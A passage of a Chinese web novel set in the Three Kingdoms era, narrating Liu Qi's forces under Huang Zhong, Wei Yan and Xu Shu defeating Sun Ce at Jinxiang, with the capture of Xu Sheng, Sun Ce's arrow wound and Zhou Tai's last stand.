一声苍劲却雄浑的怒吼自战场东南方向传来,紧接着,一支约千人的生力军如猛虎出闸,自江岸边的芦苇荡中悍然杀出,直插正与襄阳营鏖战的江东军腰部! 为首老将,须发皆白却威风凛凛,手中一柄赤血长刀挥舞如风,正是长沙校尉黄忠! 黄忠原本在后营水寨督率本部三千水师与试图沿河道冲入长江的江东水军激战,战况同样激烈。 但黄忠却时刻关注着陆上主战场的动向,望楼哨兵不断汇报着前营危急、中军接战的消息。 眼见孙策突入中军中,战局陷入胶着时,黄忠立刻意识到这是拦腰截断孙策军擒杀孙策的好机会。 于是黄忠当机立断,留下副手继续指挥水师与江东水师交战,自己则亲率麾下一千部曲,迅速登岸,绕过滩涂,如同一把尖刀,精准地找到了江东军阵型的薄弱侧翼。 黄忠的到来让战场形势瞬间逆转! 黄忠部的突入毫无防备的江东军侧翼,顿时引起了一阵剧烈的混乱。 正在全力向前压进的江东兵根本没料到身侧会杀出一支敌军,慌乱之下阵型大乱。 “不要乱!后队变前队,顶住!” 孙策军中一名督战的校尉声嘶力竭地试图稳住阵脚,但话音未落,黄忠已拍马杀到,赤血刀划过一道弧线,瞬间那校尉连人带甲被劈翻在地。 一千长沙锐卒怒吼着撞入江东军阵中,刀枪并举,血肉横飞。 这股生力军的加入,立刻让原本僵持的战线开始倾斜。 孙策军腹背受敌,首尾难顾,攻势为之一滞。 孙策正想着继续前突直至刘琦望楼下,忽听身后本阵杀声大作,节奏迥异,心中猛地一沉。 孙策连忙虚晃一枪,逼退刘琦本部精锐半步后,抽空回望,只见“黄”字将旗在自己军阵中左冲右突,所向披靡,己方士卒正成片倒下。 “黄忠老儿!”孙策又惊又怒,他万万没想到刘琦军后营的水师主将会突然上岸参战,更选在了如此要命的时机和地点。 同时孙策立刻明白,自己最担心的事情发生了——他这支突前的部队,有被完全包围的风险! “主公!退吧!再不走就来不及了!”周泰带着满身血污冲到孙策身边,指着已经被黄忠部逐渐合拢的缺口焦急大喊。 孙策双目赤红,心中满是不甘,但作为主帅,孙策深知擒杀刘琦的想法此刻已事不可为。 若被黄忠将己方拦腰截断彻底合围自己,到时别说突围,恐怕真要全军覆没于此。 孙策猛地一咬牙:“传令!向江边且战且退!让水师接应!” 然而,刘琦和徐庶岂会放过这天赐良机? “是汉升!汉升来了!” 望楼之上,刘琦一直紧绷的脸上终于露出一丝狂喜,刘琦猛地一拍栏杆,“太好了!来得正是时候!” 一旁的徐庶眼中精光暴涨,黄忠及时到来让徐庶刚才的话有了验证之机。 于是徐庶语速极快地对刘琦道:“主公!黄将军此来,恰似神兵天降!” “观其兵锋所向,正冲孙策军腰肋之处!孙策亲率精锐前出过深,已与后续步卒稍有脱节,此刻我军正面有文长死战不退,若能以黄忠部为锤,以我中军精锐为砧,两面夹击,必可将孙策这本阵箭头与其大军拦腰斩断!如此或可擒杀孙策!” 刘琦重重点头,徐庶的话与他的判断完全一致,此刻再无犹豫。 刘琦眼中闪过锐利的光芒,声音斩钉截铁,清晰地传遍望楼左右: “先生所言正合我意!孙策自陷死地,乃天赐良机,岂能纵虎归山!” “传令:中军所有精锐,悉数压上,务必缠住孙策,使其不得脱身!” “我要让他这柄江东锐矛,今日折断于此!” 刘琦命令既下,中军战鼓声骤然变得急促而猛烈,那是全力进攻、不死不休的信号! 原本作为最后屏障的刘琦本部最精锐的亲卫营以及预备队,闻令而动,如同开闸洪流,呐喊着冲入战场,目标直指已被魏延和黄忠两部不同程度牵制的孙策及其核心亲兵! 然而,孙策之勇,实在骇人。 虽深陷重围,左右冲杀之下,手中长枪下竟无一合之将,周身数丈之内,荆州兵卒竟一时不敢过分逼近,只能以长枪弓箭远远牵制,孙策竟然有缓缓离去的趋势。 黄忠的到来,孙策显然也意识到了危险,试图向后收缩,与后续被隔开的部队汇合。 而刘琦在望楼上将这一切看得清清楚楚。 刘琦知道,寻常士卒已被孙策的悍勇杀破了胆,光靠增兵,若士气不振,仍可能被其寻得一线生机脱身! 一念及此,刘琦做出了一个让所有人震惊的决定。 刘琦快速来到自己大纛下,一把抓住身旁那面硕大的、象征着一军统帅的“刘”字帅旗的旗杆,对掌旗官厉声道:“举旗!随我前移五十步!” “主公不可!”陈武和徐庶几乎同时出声,语气中充满了惊骇,主帅旗阵前移,风险极大! 但刘琦心意已决,他目光扫过众人,沉声道:“今日不擒杀孙策,他日再战必将会付出更大的代价!三军皆看我旗号,旗进则人进!我刘琦就在此地,与诸君共赏擒杀国贼之功!” 说罢,刘琦亲自执掌大纛,迈步向下层走去。 掌旗官及亲卫们见状,热血上涌,再无迟疑,立刻紧紧护卫在刘琦周围,整个望楼上的指挥体系随之向前移动! “看!主公的旗帜!主公向前了!” 战场上,无数正在与孙策军搏杀的刘琦军士卒,忽然看到那面始终稳定在后方的帅旗,竟然开始向前移动! 主帅刘琦的身影,在亲卫的簇拥下,就在那旗帜之下,清晰可见! 这一幕带来的震撼无以复加! “主公与我们同在!”不知是谁先喊了一声。 随即,巨大的欢呼声和怒吼声从刘琦军阵中爆发出来! “主公不惜以身犯险!我等还有何惧!” “杀!莫要让主公看轻了我等!” “擒杀孙策!为主公献功!” 原本因孙策勇武而略有迟疑的士卒们,在刘琦大纛前压后,此刻如同被打入了强心针,羞愧与勇气同时涌起。 主帅亲自前压,已将生死置之度外,他们还有何理由惜命不前? 顷刻间,刘琦军心士气攀至顶峰! 襄阳锐士们如同潮水般再次涌上,前仆后继,用身体、用盾牌、用长矛,死死地缠住孙策及其亲兵,攻势之猛烈、之疯狂,竟让久经沙场的孙策也感到了一丝窒息般的压力! 刘琦军悍不畏死之下,孙策每次挥动手中长枪,每向后退一步,都要付出巨大的气力,周围的空间被压缩得越来越小,突围的难度成倍增长! 而就在孙策被这突如其来的、不计代价的猛攻死死钉在原地的同时。 老将黄忠也率领麾下精锐,如同热刀切黄油般,彻底完成了对孙策本部的横向切割! 最终,将孙策以及其身旁最核心的千余江东精锐,与后方试图上前接应的部队完全隔离开来,被涌上来的襄阳锐士围成一个紧密的包围圈! 孙策,这柄一往无前的江东锐矛,其最锋利的矛尖,终于在襄阳锐士悍不畏死之下,牢牢地摁在了原地,再也无法动弹分毫。 而随着刘琦大纛前压,黄忠拦腰,不单是将孙策,就连给围堵住了,就连先前拦住魏延的徐盛也来得及逃脱,在身边的江东兵或死或降后,只剩下一人的徐盛在魏延部曲的围观下,正与魏延进行1V1男人大战。 魏延的长柄大刀横扫而出,刀风裹挟着血腥气,直逼徐盛面门。 徐盛仓促举刀格挡,“当”的一声脆响,两刀相撞的力道震得他虎口开裂,鲜血顺着刀柄往下滴。 徐盛能当上柴桑别部司马,一手刀法在江东军中也算拔尖,可面对魏延这等悍将,百余招下来早已力竭,胳膊酸得几乎抬不起来。 魏延眼尖,见徐盛双手虎口崩裂,长刀在手中摇摇晃晃,便知他已无再战之力,心生几分惜才之意,便出言劝降道。 于是,魏延缓缓收住刀势,没有趁势劈杀,反而往后退了半步,粗声开口,语气里带着几分难得的温和: “能在我魏文长手中撑过百招,倒是个汉子,念你身手不俗,何不归降我主?” 这话一出,不仅徐盛愣住了,连周围围住徐盛的魏延部曲都下意识停了动作。 魏延部曲谁都知道魏延是出了名的暴脾气,敌将落到他手里,少有能活下来的,更别说劝降了。 徐盛缓过神来,脸上却不见丝毫动摇,反而梗着脖子,怒声道:“我乃江东将士,生是孙家臣,死是孙家鬼!岂会降你荆州军!” 说罢,徐盛不顾虎口传来阵痛,紧握环首刀,就要跟魏延拼个鱼死网破。 魏延见状,眉头一皱——劝降不成,杀了又可惜。 于是魏延索性上前一步,不等徐盛碰到刀,长柄大刀突然调转方向,刀背重重砸在徐盛胸口。 “噗!”徐盛一口鲜血喷出,踉跄着后退两步,重重摔在地上,再也爬不起来。 “不识抬举!” 魏延骂了一句,却没再动手,对着周围的部曲喊道,“把他绑了!带回去见主公!” 部曲们连忙上前,绳索如蛇般缠上徐盛的四肢,将他捆得严严实实。 不多时徐盛便被架起来时,还在挣扎着怒吼:“要杀便杀!我徐盛绝不当降将!” 此时刘琦刚将帅旗交给掌旗官,正盯着包围圈里的孙策,忽闻身后有脚步声,转头便见魏延押着个五花大绑的敌将过来。 那敌将虽浑身是血,甲胄歪斜,却依旧挺着腰杆,眼神里满是桀骜,嘴里还在不停咒骂。 第18章 大纛压阵:小霸王喋血突围路! “主公,此人乃江东将领,百余招才被属下擒住,倒是个硬茬!”魏延拱手道,语气里带着几分对徐盛的认可。 刘琦眼前一亮——能在魏延手下撑百余招,绝非寻常士卒。 于是刘琦上前两步,目光落在徐盛身上,温声道:“这位将军,不知高姓大名?” 徐盛斜睨了刘琦一眼,撇过头去,一声不吭。 魏延见状,顿时火了,一脚踹在徐盛脚腕上,怒声道:“败军之将,还敢摆架子!” “我留你性命,是惜你勇武;主公亲自问你姓名,是给你脸面,你倒敢不答?” 徐盛踉跄了一下,却依旧不回头,嘴里哼了一声:“我乃江东将士,岂会向荆州小儿屈膝!” “你!” 闻言魏延气得就要拔刀,但却被刘琦一把拦住。 刘琦摇摇头,示意魏延稍安勿躁,然后亲自上前,伸手解开了徐盛领口的绳索——虽没全解开,却让徐盛呼吸顺畅了些。 “将军忠义,我敬佩!” 刘琦的声音依旧温和:“但乱世之中,良禽择木而栖。” “你主孙策虽勇,然如今却成困兽之斗,不日将会成阶下囚,而我乃荆州长公子,日后坐拥荆襄九郡,若能得将军相助,日后匡扶汉室,将军亦能名留青史,何乐而不为?” 徐盛愣住了。 他本以为会被严刑拷打,却没想到刘琦竟如此礼遇。 徐盛抬头看向刘琦,见对方眼中并无恶意,只有真诚,心里的倔强竟松动了几分。 沉默片刻,徐盛终于开口,声音有些沙哑:“柴桑徐盛,字文向。” “徐盛?!” 刘琦心里猛地咯噔一下,差点喊出“卧槽大宝!” 这不就是三国中后期那个能守能攻、后期撑起东吴半边天的徐盛吗? 难怪能跟魏延打百余招! 刘琦脑子里瞬间闪过徐盛的生平但随即又被刘琦强行压下——现在不是想这些的时候! 刘琦脸上露出笑意:“原来是文向将军!果然是英雄出少年!” 随即刘琦拍了拍徐盛的肩膀,“文向将军暂且安心,我不会亏待你。” “来人,先将徐将军带下去,好生照料,待战后再议。” 亲兵应声上前,押着徐盛往后方营帐走。 徐盛回头看了刘琦一眼,眼神里多了几分复杂,却没再说话。 待徐盛走后,魏延有些不解:“主公,此人身为敌将,为何对他如此客气?” 刘琦笑了笑:“文长可知‘韩信点兵,多多益善’?乱世争雄,拼的从来不是一时胜负,而是身边能聚多少人才。” “那徐盛能在你手下撑过百招,武艺胆识皆非寻常,若能收服,便是我军利刃,即便此刻不降,也该留份礼遇——有志之士终会择明主,我若想守荆州、图长远,自当为贤才留条路。” 话音刚落,刘琦的目光突然一沉。 只见包围圈里的孙策正挥枪狂刺,古锭刀扫过,己方两名士兵应声倒地,血染的身影竟还在往江边方向冲,眼看就要撕开一道小口。 刘琦当即脸色一正,对魏延道:“文长,速带部曲去左翼!既要缠住孙策,更要堵死他往江边的退路,绝不能让这头猛虎逃了!” “诺!” 魏延迅速领命道。 而望楼上的徐庶看着这一幕,缓缓松了口气,指尖却仍在微微发抖。 徐庶从北到南见识过不少诸侯军阀,却从未见过哪个主帅会亲自扛着帅旗压阵。 刘琦这一手,看似冒险,却精准地掐住了军心的要害。 而此刻荆州兵的士气,已不是“高昂”二字能形容,而是带着一股子“跟主帅同生共死”的决绝。 待魏延领命带着部曲往左翼冲去,刘琦的目光刚落回孙策的包围圈,望楼上突然传来徐庶沉稳的声音:“主公!孙策残部主力已乱,可乘势清剿!” 原来孙策带千余精锐突前被围后,其余数千江东步卒没了核心指挥,早已军心动摇,刚才还在勉强抵抗,此刻见主帅陷入重围,更是乱作一团,有不少人已开始往后退。 刘琦闻言,看了眼已经陷入混乱中的江东步卒道:“元直大才!追击残卒之事,便全托给你!” 说着刘琦目光扫过下方围圈中浴血的孙策身上,眼底闪过一丝锐光,“这江东小霸王,搅得我军连日不得安宁,今日我要亲自盯着,绝不能让他再逃了——擒杀孙策的功劳,我得亲眼看着到手!” 得令后,徐庶目光扫过全局,迅速对传令兵下达一连串指令: “传令汉升将军,不必再强攻孙策本阵侧翼!” “命他即刻率领所部长,向左翼纵深突击,那里有大量江东溃兵正试图向江边其他码头逃窜或观望,务必将其彻底击溃、驱散,不使其重新成建制抵抗!” “再令各营司马,肃清残敌,凡持械不降者,格杀勿论!降者集中看管!” 徐庶命令迅速被传达下去。 黄忠刚刚率部完成了对孙策本阵的侧翼切割,正待继续挤压,接到徐庶将令后,毫不犹豫,立即执行。 黄忠长刀一指,声若洪钟:“长沙儿郎,随我来!剿灭残敌,建功立业,就在今日!” 说罢,黄忠一马当先,引着自己那一千士气如虹部下,如同猛虎下山般扑向那些已经失去统一指挥、惊慌失措的江东溃兵。 这些江东兵原本见主公被围,就已军心大乱,有的想上前救援却被襄阳营挡住,有的犹豫不决,有的则已经开始向江边其他可能的方向逃窜,建制完全混乱,军官找不到士卒,士卒找不到长官。 此刻面对黄忠这支养精蓄锐、士气正盛的生力军有组织的猛烈冲击,根本组织不起任何有效的抵抗。 “逃啊!” “快跑!黄忠杀来了!”恐慌如同瘟疫般在江东军士卒中蔓延。 一时间黄忠所部如入无人之境,刀锋所向,江东溃兵成片倒地,更多的是直接丢下兵器,跪地乞降。 偶有一些低级军官试图收拢部队结阵自保,却被黄忠发现,要么被其一箭射杀,要么被其率亲兵直接冲垮阵型。 而这一切,也隐隐传到了核心战圈。 孙策能听到远处传来的不再是整齐的江东战号,而是更加混乱的惨叫和“投降不杀”的呼喊,孙策心中愈发焦急和冰凉,知道其他部队恐怕已经凶多吉少,自己真的成了孤家寡人! 于是孙策便打算往江边突去,打算乘坐水师战舰突围。 而孙策刚劈开一个襄阳兵的头颅,想往江边突围,却被突然顶上来的魏延逼得连连后退。 长时间高强度的战场厮杀终于让孙策感到几分疲惫,以至于在与魏延交手时一时间没察觉到从侧方突然刺来一杆长枪刺中了他的右腿甲胄,虽没穿透,却震得孙策膝盖发麻。 孙策被自己亲兵拥戴回自己军阵后抬头望去,正好看见不远处的土坡上站在帅旗下的刘琦,目光冷冷地盯着他,像在看一头困兽。 “刘琦!你敢与我一战?”孙策嘶吼着,举起长枪指向刘琦,试图激怒刘琦上前。 刘琦闻言,嘴角勾起一抹毫不掩饰的冷笑,缓缓举起右手,往下一压。 瞬间早已准备好的弓弩手放箭,密集的箭矢如乌云般笼罩下来。 孙策的怒吼被迎面而来的箭雨硬生生打断! 孙策挥舞长枪格挡,精铁枪杆与箭簇碰撞发出密集的“叮当”之声,而身边却不断传来亲兵的闷哼与惨叫。 “举盾!快举盾护住主公!”亲兵统领周泰身上插着几个箭矢声嘶力竭地大喊,残存的江东士卒拼命将盾牌聚拢在孙策周围,组成一个脆弱的盾阵,但依旧不断有人中箭倒地。 孙策透过盾牌的缝隙,死死盯着土坡上那道身影。 刘琦依旧稳稳地站在帅旗下,面无表情,那双眼睛冷静得可怕,没有丝毫少年人的冲动,只有统率全局的冰冷算计。 孙策刚才那声挑衅,试图激怒刘琦的话语如同石沉大海,只换来了更无情、更高效的杀戮。 一股难以言喻的愤怒和罕见的无力感涌上孙策心头。 孙策勇冠三军,平生最恨这种缩于后方、只凭弓矢兵势压人的对手! 若是平日,孙策早已匹马冲阵,取其首级如探囊取物。 可如今,自己身陷重围,兵力捉襟见肘,浑身浴血,体力也在飞速消耗,那短短的几十步距离,却如同天堑。 “刘琦小儿!无胆鼠辈!” 孙策不甘地再次咆哮,声音却带上一丝自己都未曾察觉的沙哑和疲惫。 而回应他的,又是另一波呼啸而至的箭雨! “主公!这样下去不行!弟兄们撑不了多久了!” 周泰焦急地喊道,盾牌上已经插满了箭矢,如同刺猬一般。 孙策猛地回过神来,他是主帅,不能因个人怒火葬送最后的机会! 于是孙策强压下沸腾的战意,目光如电般快速扫过战场。 此刻围绕在他身边的,仅剩五百余伤痕累累的士卒,但皆是百战余生的精锐。 而远处江边,透过纷乱的人群和硝烟,依稀可见江东的战船已经突破了长沙水师的拦截,正在试图靠近一处尚在控制中的小码头,船上的旗帜正是程普所部! 希望还在! 孙策脑中瞬间闪过一个念头,他厉声下令:“所有人听令!” “收起盾阵!向前冲!不要理会两翼,全力向江边码头突进!贴上去,与荆州兵混在一起!” 这是一个极为冒险的命令! 收起盾阵意味着要硬扛着箭雨冲锋,但同时也是唯一生机! 只有与追击堵截的刘琦军短兵相接、纠缠混战,才能让敌方投鼠忌器,不敢再肆意进行覆盖性的箭矢攻击! “冲啊!为了主公!回江东!” 周泰嘶哑着喉咙大吼一声试图鼓舞其士气,随后率先持刀向前猛冲。 剩余的五百江东子弟兵也明白了孙策的意图,爆发出最后的血勇,如同受伤的猛虎,不再格挡闪避,而是红着眼睛,全然不顾自身安危,疯狂地扑向正面的魏延部以及从侧翼压上来的襄阳兵! 果然,这亡命一搏瞬间搅乱了战局。 江东兵顶着被箭雨。被射杀百余人后,成功地冲入荆州兵军阵,双方士卒顿时犬牙交错地缠斗在一起。 弓弩手们纷纷停下了射击,生怕误伤己方同袍。 战场的形式瞬间从远程压制变成了残酷的贴身肉搏! 喊杀声、兵刃碰撞声、惨叫声再次成为主旋律。 孙策趁机深吸一口气,大喝道:“随我杀出去!” 孙策所部的亡命冲锋进入荆州兵中,虽暂时避免了被箭雨覆盖的命运,却也让孙策这最后的数百精锐彻底陷入了襄阳兵与魏延部的重重围困之中。 每向前一步,都要付出数条性命为代价。古锭刀已然砍卷了刃,孙策本人的呼吸也变得粗重起来,体力正在飞速流逝。 就在刘琦站在土坡上看着孙策如何做困兽之斗时,一阵马蹄声自外围传来,只见老将黄忠提刀策马而来。 黄忠径直来到望楼之下,对着楼上的刘琦拱手复命,声若洪钟:“启禀主公,末将奉命清剿江东残敌,斩首数百,俘获千余,其余皆已四散溃逃,已无成建制的江东敌军!” “程普水师虽有小股试图靠岸,皆已被我军击退!” 此言一出,不仅刘琦和徐庶心中大定,连周围拼死奋战的荆州士卒也听得真切,顿时士气再振——后顾之忧已除,可以全力围歼眼前孙策这头最大的猎物了! 刘琦的目光再次投向战场核心。 那里,孙策依旧在死战,身影踉跄却凶猛不减,每一次挥刀依然能带起血花,但明眼人都看得出,孙策已是强弩之末,突围的可能性微乎其微。 然而,每多耽搁一刻,围剿孙策的荆州军士卒就要付出更多的伤亡。 刘琦深吸一口气,运足中气,向着战场高声喊道:“孙伯符!你大势已去,何不早降!我刘琦以荆州长公子之名起誓,必不辱没于你!” 回答刘琦的,是孙策奋力投掷过来的一截断矛,以及一声嘶哑的怒吼:“江东孙策,宁死不降!” 见此刘琦知道劝降无望。 第19章 黄忠一箭定乾坤,周泰死战护主! 于是刘琦眼中闪过一丝决绝,转而看向身旁的黄忠,沉声道:“汉升!。” “末将在!” “孙策顽固不灵,为了减少我军士卒的伤亡了。” 刘琦的声音带着沉重,“可否请汉升,以你神射,终结此獠?” 黄忠闻言,脸上立刻浮现出挣扎之色。 黄忠一生磊落,最重武德,让他于乱军之中暗箭伤人,实在非其所愿。 于是黄忠抱拳道:“主公,这…两军阵前,暗箭伤人,恐非英雄所为…末将请命,愿率部上前,与那孙策决一死战!” 刘琦看着黄忠眼中的坚持,心中不由一叹。 刘琦知道,自己若以主公身份强压,黄忠最终也会听令,但难免在心中留下芥蒂。 刘琦需要的是这位老将真心的归附,而非机械的服从。 于是,刘琦的语气更加柔和,却带着一种悲天悯人的语气:“汉升,我知你乃真豪杰,重信义。但你看看眼前——” 刘琦伸手指向那片血肉磨坊般的战场:“那些正在与孙策搏命的士卒,他们哪一个不是父母所生,哪一个家中没有妻儿老小盼其归去?” “孙策每多顽抗一刻,我便可能要多失去几十、上百个这样的好儿郎,他们家中妻儿便要终日以泪洗面。” “为一己之武德虚名,而置万千将士性命于不顾,这…真是大丈夫所为吗?” 刘琦的目光紧紧看着黄忠,语气恳切而沉重:“我本可以军令强命于你,但我敬重汉升,更望汉升能明白,为将者,最大的仁德,有时并非阵前的公平较量,而是以最小的代价,最快地结束战争,让更多的士卒能够活着回家。” “他们的家中父母妻儿,会感激你的。” 刘琦这番话,如同一把重锤般敲在黄忠的心上。 让黄忠身躯剧震,目光不由自主地扫过战场,看到那些年轻的面孔在血泊中倒下,看到有人断臂残肢却仍在惨叫… 这让黄忠想起了那些战死长沙的子弟兵,想起了他们家人绝望的哭声。 一时间巨大的愧疚和责任感瞬间淹没了黄忠心中的那点坚持。 个人的武德虚名,与千万人的性命相比,,何其渺小! 黄忠猛地抬起头,眼中再无犹豫,只剩下决然:“主公…所言极是,是末将迂腐了!” 说完,黄忠猛地取过身旁亲兵递来的铁胎强弓,抽出一支破甲重箭。 搭箭,开弓,动作一气呵成,稳如泰山。 弓弦瞬间被拉成满月,发出轻微的吱呀声。 黄忠的目光锐利如鹰,快速的锁定了在乱军中那个依旧在挥刀奋战的孙策身影。 此时,孙策正与魏延硬拼一记,两人刀枪相撞,火星四溅。 魏延力大刀沉,孙策体力不支,被震得后退半步,中门微露。 尽管激战正酣,身心俱疲,但孙策多年沙场搏杀养成了一个近乎本能的直觉,那就是不管如何都会留一分心神观察战场事态。 俗称眼观六路听八方。 就在黄忠手指松开的刹那,刺耳的尖啸声撕裂空气,直袭而来! “嗯?!” 孙策瞬间汗毛倒竖,千钧一发之际根本来不及细看,完全是凭借本能猛地向右侧屈身闪避! “噗——嗤!” 黄忠的箭矢虽然未能如黄忠预期般射穿孙策心窝,但也狠狠地扎透了孙策左肩的甲骨束带,锋利的箭镞甚至撞碎了孙策肩胛骨! 瞬间一股难以想象的剧痛瞬间席卷孙策全身! “啊——!” 孙策发出一声凄厉的惨叫,长枪再也握持不住,“当啷”一声掉落在地。 孙策整个人如同被重锤击中,直接被箭矢动能击倒在地上! “主公!!!”周泰目眦欲裂,发出一声怒吼。 而在土坡上的刘琦看得分明,见孙策倒地立刻厉声下令:“喊起来!让所有人都听见!” 下一刻,荆州军阵中爆发出山呼海啸般的呐喊: “孙策死啦!孙策被射死啦!” “江东孙策已死!降者不杀!” 这呼喊如同压垮骆驼的最后一根稻草。 原本还在死战的数百江东精锐,亲眼看到主公中箭落马,加上又听到四周震天的呼喊,心中最后一点斗志彻底崩溃。 “主公!” “完了…” “投降!我们投降!” 有人丢下武器跪地求饶,有人呆立原地不知所措,更有甚者开始四散奔逃。 局面瞬间瓦解。 唯有周泰,这个身上插着数个箭矢,浑身是血,见到孙策张宏建跌倒在地后,爆发出最后的疯狂。 为了从魏延刀下救回孙策,周泰完全放弃了防守,双眼赤红,状若疯虎,手中环首刀只攻不守,以身上添数道深可见骨的伤口为代价,硬生生从荆州兵中杀开一条血路,冲到了倒地不起的孙策身边。 “走!带主公走!”周泰对着几个仅存的亲兵咆哮。 说着周泰就一把将昏迷的孙策扛起,在其余亲兵以性命为代价的掩护下,跌跌撞撞地冲向不远处那个尚有江东战船接应的码头。 每一步,都踏着血泊。 每一步,都有亲兵为了掩护他们而倒下。 箭矢不断从身后射来,周泰用自己的身体作为最后的盾牌,死死护住肩上的孙策,此时周泰的背上早已插满了数支羽箭,随着奔跑微微颤动,鲜血浸透了重甲,顺着甲叶不断滴落。 冲到码头栈桥入口,程普的战船就在不远处,正拼命向码头靠拢,船上的士卒焦急地大喊着。 周泰将孙策交给一名亲兵:“快!送主公上船!” 说完,周泰转过身,面对如潮水般涌来的荆州追兵。 而此时周泰身边,只剩下三十余名跟他一样伤痕累累、却眼神决绝的亲兵。 周泰一把扯掉早已破烂不堪、严重影响行动的披风,吐出一口带血的唾沫,环首刀横在身前,对着追兵发出震天的怒吼:“江东周泰在此!想追我主公,先从我的尸体上踏过去!” 巨大的声浪,让追击而来的荆州兵为之一顿。 周泰对着身边仅存的孙策亲兵们喊道:“弟兄们!主公待我们不薄,如今是为主公尽忠的时候到了!” “愿随将军死战!”三十余死士轰然应诺,声音虽不大,却带着令人心悸的决绝。 他们迅速以码头上的杂物、粮袋、甚至是同伴的尸体堆砌成简易的屏障,组成一道血肉防线。 第一波追兵瞬间涌到! “杀!” 周泰咆哮着迎了上去,周泰此时已经完全放弃了防守,刀法大开大阖,只攻不守! 一名荆州屯长举枪刺来,周泰不闪不避,任由长枪刺向自己腹侧,同时手中环首刀猛地劈下,竟将那屯长连人带枪劈成两段! 周泰对于被刺伤的腹侧,置若罔闻,只是简单的扯下一条布条裹上。 随后周泰又冲入追兵中,面对不断涌过来的荆州兵依旧死战不退,环首刀舞动如风,每一次挥砍都必有一名敌军倒下。 周泰身边的亲兵也一个个战死,却无一人后退,直至最后一人倒下,都用身体拖延着追兵的脚步。 在周泰这几乎不要命的打法下,荆州兵逐渐从追击孙策擒杀孙策的兴奋变成对周泰心生恐惧。 不少士卒看着身中数十创伤,鲜血喷涌,却却恍若未觉的周泰,畏惧的不敢上前。 “还有谁?!” 而此时的周泰刚好将一名荆州兵杀死,拔出插在肩膀上的一个箭矢,对着心生畏惧而踌躇不前的荆州士卒怒吼,其状如同魔神! 一名年轻的荆州新兵惊恐地看着栈桥入口那个如同血人般的身影。 他已经连续冲了三次,身边的同袍倒下了十几个,却始终无法突破那区区一人一刀组成的防线。 那人仿佛不知疼痛,不知恐惧,每一次以为他要倒下时,他又能爆发出可怕的力量,将冲上去的人砍翻。 此时倒在周泰身旁的荆州士卒尸体几乎堆成了一个小圈。 鲜血汪汪的从尸堆中流淌出,在周泰脚下汇成一滩血泊。 等刘琦在亲兵的护卫下也已赶到时。 刘琦远远望着码头入口那惨烈的景象,望着那个独自屹立在尸山血海中的身影,不禁动容,轻声感叹道:“真乃忠勇无双之士!惜乎不能为我所用……” 而就在此时,程普的战船终于接应到了孙策,开始缓缓驶离码头。 而周泰也似乎心有所感,用刀拄着地,艰难地回头望了一眼,恰好看到孙策正被安置在船板上。 见此,周泰满是血污的脸上,一丝难以察觉的释然,混合着无尽的不甘与牵挂,在他满是血污的脸上缓缓漾开。 “主公...保重...泰...再也不能...随您...征战...左右了...” 周泰话音未落,眼中的神采急速黯淡下去。 支撑着他庞大身躯的最后一股气力仿佛瞬间被抽空,拄着刀的手臂猛地一软。 “呃……”一声闷哼,周泰再也支撑不住,庞大的身躯晃了几晃,重重的砸在血泊中,溅起一片暗红的泥泞。 周泰那具曾令敌人闻风丧胆的雄伟身躯,此刻静静地伏在栈桥入口,环首刀仍死死握在手中。 江风呜咽着卷过码头,吹动周泰散乱的发丝和破碎的战袍,却再也不能唤醒这位尽忠至死的江东猛虎。 四周忽然陷入一种奇异的寂静,方才喊杀震天的荆州士卒们竟无一人上前,只是默默望着那具以生命践行诺言的躯体。 在这一刻,胜负已无关紧要,周泰的忠勇与牺牲,在这一刻已经超越了阵营与立场,深深的震撼着在场的每一个人心灵。 江风卷着浓重的血腥气掠过津乡码头,在一片诡异的寂静中,刘琦缓缓走上前去。 刘琦停在周泰的尸身前,沉默良久,方才沉声开口: “厚葬此人,以将军之礼。” “另寻其佩刀甲胄,立衣冠冢,碑文就书——‘江东忠勇周幼平之墓’。” 刘琦的声音不大,却清晰地传遍四周,带着对周泰失命,为其主争取时间的忠勇敬意。 士卒领命,小心翼翼地上前,试图取下周泰手中紧握的环首刀,却发现那手指僵硬如铁,竟似与刀柄铸为一体,只得作罢。 刘琦不再多看,转身走向已是残破不堪的战场。 魏延提着染血的大刀走过来,身上的甲胄上还沾着刚才厮杀时溅到的血渍。 来到刘琦身旁前抱拳行礼后,魏延看着江面上的战船残影,有些不甘地说道: “主公,就这么让孙策跑了,未免太可惜了!” “还请主公调配一些水师给属下,属下驾小船追击,说不定能把孙策截回来!” 但刘琦却摇了摇头,目光望向江东战船消失的方向,语气平静:“不必了。” “孙策中了汉升一箭,肩胛骨碎裂,生死难料。” “且此战我军虽大破江东军,但我军也是损失不少,当下最为重要的是收治伤兵,犒赏三军!” “更何况,程普亲自接应,船上必然戒备森严,强行追击只会徒增伤亡,得不偿失。” 刘琦顿了顿,转头看向魏延,嘴角勾起一抹淡笑:“文长,今日你缠住孙策,以立下大功。” “你就不必为这错失的‘擒贼’之功介怀了” 魏延闻言,心中的不甘渐渐消散,抱拳道:“主公所言极是,属下明白了!” 而这时徐庶迎了上来,脸上虽带着疲惫,却掩不住胜利的振奋。 “主公,孙策重伤遁走,江东水师溃退,此战已是大捷!” 接着徐庶拱手道,“此战我军斩首两千余级,俘获三千余人,缴获军械辎重无算。” “江东徐盛等十二名将校被擒,周泰战死……经此一役,孙策元气大伤,江东精锐折损近半,其内部必生震荡!” 徐庶话锋一转,语气变得急切而充满说服力:“孙策新败,魂惊未定,江夏守军必然闻风丧胆,兵力空虚。” “我军携大胜之威,士气正盛,正宜乘胜东进,一举夺回江夏诸县!” “若能光复江夏,则我荆州东部门户闭上,我军进可虎视江东,退可固守荆襄,战略主动尽在我手!” “机不可失,请主公速决!” 刘琦闻言,脚步微微一顿,目光从满目疮痍的战场转向波涛渐起的江面,沉吟不语。 片刻后,刘琦并没有被光复江夏诸县,将自己这个空名太守,变成一个名副其实的江夏太守的诱惑给遮住双眼。 于是刘琦思考过后缓缓开口,声音冷静:“元直之言,确是老成谋国之见,乘胜追击,光复江夏,看似一步好棋。” 刘琦接着话锋一转,眼中闪过一丝不易察觉的疲惫与更深远的忧虑:“然,元直请看!” 刘琦伸手指向周围正在默默收殓同袍遗体、包扎伤口的士卒。 “我军虽胜,亦是惨胜,将士们血战终日,早已人困马乏,强弩之末势不能穿鲁缟。” “此时若驱疲敝之师远征,纵能趁敌惊慌取下几城,若江东援军猝至,或有伏兵半击,我军必陷危局。” 刘琦的目光再次投向徐庶,语气变得格外凝重:“孙伯符虽败,然其根基未损,吴郡、会稽钱粮丰足,假以时日必能恢复元气。” “我军此时最紧要之事,非贪功冒进,而是巩固战果,消化所得” “安顿伤员,抚恤烈士,整编降卒,补充械备,让我军力更上一层楼。” 